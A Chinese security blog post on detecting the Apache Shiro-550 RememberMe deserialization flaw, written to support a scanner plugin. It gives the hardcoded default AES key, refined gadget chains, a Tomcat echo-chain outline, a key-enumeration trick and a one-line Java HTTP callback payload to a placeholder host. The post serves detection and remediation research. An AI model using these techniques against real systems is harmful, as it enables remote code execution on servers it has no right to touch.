Shiro RememberMe 漏洞检测的探索之路

  • A+
所属分类:安全新闻

微信又改版了,为了我们能一直相见

你的加星在看对我们非常重要

点击“长亭安全课堂”——主页右上角——设为星标🌟

期待与你的每次见面~






前言





Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证、授权、密码套件和会话管理等功能。该框架在 2016 年报出了一个著名的漏洞——Shiro-550,即 RememberMe 反序列化漏洞。4年过去了,该漏洞不但没有沉没在漏洞的洪流中,反而凭借其天然过 WAF 的特性从去年开始逐渐升温,恐将在今年的 HW 演练中成为后起之秀。面对这样一个炙手可热的漏洞,这篇文章我们就来讲下,我是如何从 0 到 1 的将该漏洞的自动化检测做到极致的。





漏洞成因





网上相关分析已经很多,使用了 Shiro 框架的 Web 应用,登录成功后的用户信息会加密存储在 Cookie 中,后续可以从 Cookie 中读取用户认证信息,从而达到“记住我”的目的,简要流程如下。


Shiro RememberMe 漏洞检测的探索之路


在 Cookie 读取过程中有用 AES 对 Cookie 值解密的过程,对于 AES 这类对称加密算法,一旦秘钥泄露加密便形同虚设。若秘钥可控,同时 Cookie 值是由攻击者构造的恶意 Payload,就可以将流程走通,触发危险的 Java 反序列化。在 Shiro 1.2.4 及之前的版本,Shiro 秘钥是硬编码的一个值 kPH+bIxk5D2deZiIxcaaaA== ,这便是 Shiro-550 的漏洞成因。但这个漏洞不只存在于 1.2.4 版本,后续版本的读取流程没有什么改动,这就意味着只要秘钥泄露,依然存在高危风险。有趣的是,国内不少程序员习惯性的 copy/paste,一些 Github 示例代码被直接复制到了项目中,这些示例中设置秘钥的代码也可能被一并带到项目中,这就给了安全人员可乘之机,后来出现的 Shiro Top 100 Key 便是基于此原理收集的,这大概也是该漏洞经久不衰的一个侧面因素吧。





反序列化利用链提纯





Shiro 作为 Java 反序列化漏洞,想要完成漏洞利用必然少不了利用链的讨论。如果你之前有尝试复现过这个漏洞,大概率用过 CommonsCollections4 或 CommonsBeanutils 两条利用链,比如 vulhub 中该漏洞的靶站就使用了后者作为 gadget。作为一个初入 Java 安全的小白,我当时很疑惑 CommonsCollections 系列 gadget 到底有何区别,为何这里只能用上述的两条链,上面的利用链对目标环境的适用程度又是如何?这些问题不搞清楚,漏洞检测就无从谈起。作为知识储备,我花三分钟研究了一下常见的 Java 反序列化利用链,发现 ysoserial 中 Commons 相关利用链都是如下模子出来的:


Shiro RememberMe 漏洞检测的探索之路


不同的利用链从不同角度给了我们反序列化的一些思路,熟悉这个规律后,我们完全可以自己组合出一些另外的利用链。不过利用链不求多但求精,少一条无用的利用链就意味着可以减少一次漏洞探测的尝试。于是我将原有的 CommonsCollections1~7 进行了浓缩提纯,变成了如下新的 4 条利用链:


  • CommonsCollectionsK1 (commons-Collections <= 3.2.1 && allowTemplates)

  • CommonsCollectionsK2 (commons-Collections == 4.0 && allowTemplates)

  • CommonsCollectionsK3 (commons-Collections <= 3.2.1)

  • CommonsCollectionsK4 (commons-Collections == 4.0)


从分类上看分为两组,一组是 K1/K2,对应于 TemplatesImpl 的情况,一组是 K3/K4,对应于 ChainedTransformer 的情况。这 4 条链不仅可以完整的覆盖原有的 7 条链支持的场景,也可以在一些比较特殊的场景发挥作用,这些特殊的场景就包含接下来要讨论的 Shiro 的情况。





无心插柳的反序列化防护





前面做了这么多准备,我们还是没有搞清楚上一节提出的问题,现在是时候正面它了!稍加跟进源码会发现,Shiro 最终反序列化调用的地方不是喜闻乐见的 ObjectInputStream().readObject ,而是用 ClassResolvingObjectInputStream 封装了一层,在该 stream 的实现中重写了 resolveClass 方法


Shiro RememberMe 漏洞检测的探索之路


我们发现原本应该调用 Class.forName(name) 的地方被替换成了几个 ClassLoader.loadClass(name) ,这两种加载类的方式有以下几点区别:


  • forName 默认使用的是当前函数内的 ClassLoader, loadClass 的 ClassLoader 是自行指定的

  • forName 类加载完成后默认会自动对 Class 执行 initialize 操作, loadClass 仅加载类不执行初始化

  • forName 可以加载任意能找到的 Object Array, loadClass 只能加载原生(初始)类型的 Object Array


在这3点中,对我们漏洞利用影响最大的是最后一条。回看上一节说的那个规律,有一些利用链的终点是 ChainedTransformer,这个类中的有一个关键属性是 Transformer[] iTransformers,Shiro 的反序列化尝试加载这个 Transformer 的 Array 时,就会报一个找不到 Class 的错误,从而中断反序列化流程,而这就是 CommonsCollections 的大部分利用链都不可用的关键原因。


阅读代码可以感受到,重载的 resolveClass 本意是为了能支持从多个 ClassLoader 来加载类,而不是做反序列化防护,毕竟后续的版本也没有出现 WebLogic 式增加黑名单然后被绕过的情况 。这一无心插柳的行为,却默默阻挡了无数次不明所以的反序列化攻击,与此同时,CommonsCollections4 和 CommonsBeanutils 两个利用链由于采用了 TemplatesImpl 作为终点,避开了这个限制,才使得这个漏洞在渗透测试中有所应用。ysoserial 中的 CommonsCollections4 只能用于 CC4.0 版本,我把这个利用链进行了改进使其支持了 CC3 和 CC4 两个版本,形成了上面说的 K1/K2 两条链,这两条链就是我们处理 Shiro 这个环境的秘密武器。经过这些准备,我们已经从手无缚鸡之力的书生变为了身法矫健的少林武僧,可以直击敌方咽喉,一举拿下目标。万事具备,只欠东风。





东风何处来





我们最终的目的是实现 Shiro 反序列化漏洞的可靠检测,回顾一下漏洞检测常用的两种方法,一是回显,二是反连。基于上面的研究,我们可以借助 TemplatesTmpl 实现任意的代码执行,仅需一行代码就可以实现一个 HTTP 反连的 Payload


new URL("http://REVERSE-HOST").openConnection().getContent();


当漏洞存在时,反连平台就会收到一条 HTTP 的请求。与之类似的还有 URLDNS 这个利用链,只不过它的反连是基于 DNS 请求。实战中常用的还有 JRMP 相关的方法,我们可以使用类似 fastjson 的方法来做 Shiro 的检测。可惜的是,这些方法在目标网站无法出网时都束手无策,而漏洞回显是解决这个问题的不二法门。


与 Shiro 搭配最多的 Web 中间件是 Tomcat,因此我们的注意力就转移到了 Tomcat 回显上。这个话题实际上已经有很多师傅研究过了,李三师傅甚至整理了一个 Tomcat 不出网回显的连续剧 的文章。在学习了各位师傅的成果后,我发现公开的 Payload 都有这样一个问题——无法做到全版本 Tomcat 回显。此时我便萌生了一个想法,能否挖到一个新的利用链,使它能兼容所有的 Tomcat 大版本,基于此的漏洞检测就可以不费吹灰之力完成。然而挖掘新的利用链谈何容易,我怕是要陷入阅读 Tomcat 源码的漩涡中还不一定爬的出来,要是这个过程能自动完成就好了!自动化利用链挖掘应该有人做过吧,我不会是第一个吧,不会吧不会吧。


本着不重复造轮子的原则,稍加寻找不难发现,除了有大名鼎鼎的gadgetinspector,还有 c0y1 师傅写的java-object-searcher,一款内存对象搜索工具,非常符合我目前的需求。借助这个工具,我发现了一条在 Tomcat6,7,8,9 全版本都存在的利用链,只是不同版本的变量获取略有差异,大致流程如下:


currentThread -> threadGroup ->

  for(threads) -> target -> this$0 -> handler -> global -> 

    for(processors) -> req -> response


一些细节的坑点就不展开说了,总之就是各种反射各种 try/catch,我尽了最大的努力来提高其对各种 Tomcat 环境的兼容性,文章最后会将这个成果分享给大家。有了这个比较好用的回显 payload,搭配 K1/K2 来触发反序列化流程,就打造成了 xray 高级版/商业版中 Shiro 反序列化回显检测的核心逻辑,回显效果如下:


Shiro RememberMe 漏洞检测的探索之路





更上一层楼





使用 xray 扫到过 xss 的同学应该都有所体会,xray 扫到的 xss 漏洞不一定可以直接弹框,但相关参数一定存在可控的代码注入,经常会遇到网站存在 waf 但 xray 依然可以识别出 xss 的情况。纵观整个 Shiro 反序列化的流程,步步都是在针尖上跳舞,一步出错便前功尽弃。倘若目标站点部署了 RASP 等主机防护手段,很有可能导致反序列化中断而与 RCE 擦肩而过,有没有什么办法能够像 xss 一样大幅的提高其检测能力的下限呢?和 l1nk3r 师傅交流了一下,他提到一种检测 Shiro Key 的方法很不错,据说原理来自 shiro_tool.jar ,详情可以参考这篇文章一种另类的 shiro 检测方式 ,我这里简单复述一下结论。


使用一个空的 SimplePrincipalCollection 作为 payload,序列化后使用待检测的秘钥进行加密并发送,秘钥正确和错误的响应表现是不一样的,可以使用这个方法来可靠的枚举 Shiro 当前使用的秘钥。


Key 错误时

Shiro RememberMe 漏洞检测的探索之路


Key 正确时

Shiro RememberMe 漏洞检测的探索之路


借助这种方法,我们就可以将 Shiro 的检测拆为两步


  1. 探测 Shiro Key,如果探测成功,则报出秘钥可被枚举的漏洞;如果探测失败直接结束逻辑

  2. 利用上一步获得的 Shiro Key,尝试 Tomcat 回显,如果成功再报出一个远程代码执行的漏洞


由于第一步的检测依靠的是 Shiro 本身的代码逻辑,可以完全不受环境的影响,只要目标使用的秘钥在我们待枚举的列表里,那么就至少可以把 Key 枚举出来,这就很大的提高了漏洞检测的下限。另外有个小插曲是,有的网站没法根据是否存在 deleteMe 来判断,而是需要根据 deleteMe 的数量来判断,举个例子,如果秘钥错误,返回的是两个 deleteMe ,反之返回的是一个 deleteMe 。这种情况我之前没有考虑到,所以在 xray 后续又发了一个小版本修复了一下这个问题。





万剑归宗




看到这想必你已修得三十年功力,迫不及待的想要冲入江湖大展拳脚。但好马需有好鞍相配,漏洞测试也需要一款好用趁手的工具做辅助。将上面说的整个流程做自动化检测并非只是发个请求那么简单,我随便列举几个细节,大家可以思考下这几个小问题该如何处理:


  • 如何判断目标是 Shiro 的站点,Nginx 反代动静分离的站点又该怎么识别?

  • 如何避免 Java 依赖而纯粹使用其他语言实现?

  • 如何避免 Payload 太长以致超过 Tomcat Header 的大小限制?

  • 如何使 Payload 兼容 JDK6 的环境?

  • CommonsBeanutils 中有个类的 serialVersionUID 没设置会对 gadget 有什么影响?

  • 如何识别并处理 Cookie key 不是 rememberMe 的情况?


我自认为相对科学的解决了这几个小问题,并将上述所有的研究成果凝结在了 xray 的 Shiro 检测插件中,如果有什么我没有注意到的细节,还望各位师傅指正。xray 是站在巨人的肩膀,若取之社区则要用之社区,文中提到的相关 Gadget 和 Payload 我都同步放到了https://github.com/zema1/ysoserial,欢迎大家和我一起研究讨论。唯一希望的是,转载或二次研究时请保留下版权,免费的还想白嫖,不是吧,阿Sir。


最后我们来讲讲这个漏洞的修复方法。官方推荐的方式是弃用默认秘钥,自己随机生成一个,这种方法固然有效,但我感觉可以在代码层面做的更好。如果能在 resolveClass 里采用白名单的方式校验一下要加载的类,是不是就可以完全避免恶意反序列化的发生,既然已有无心插柳的有效性在前,何不顺水推舟,将这个问题从源码层面根治?


安全之路漫漫,唯有繁星相伴。愿诸位都能成为暗黑森林中的一颗闪亮的星,共勉。



Shiro RememberMe 漏洞检测的探索之路
点分享
Shiro RememberMe 漏洞检测的探索之路
点点赞
Shiro RememberMe 漏洞检测的探索之路
点在看


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: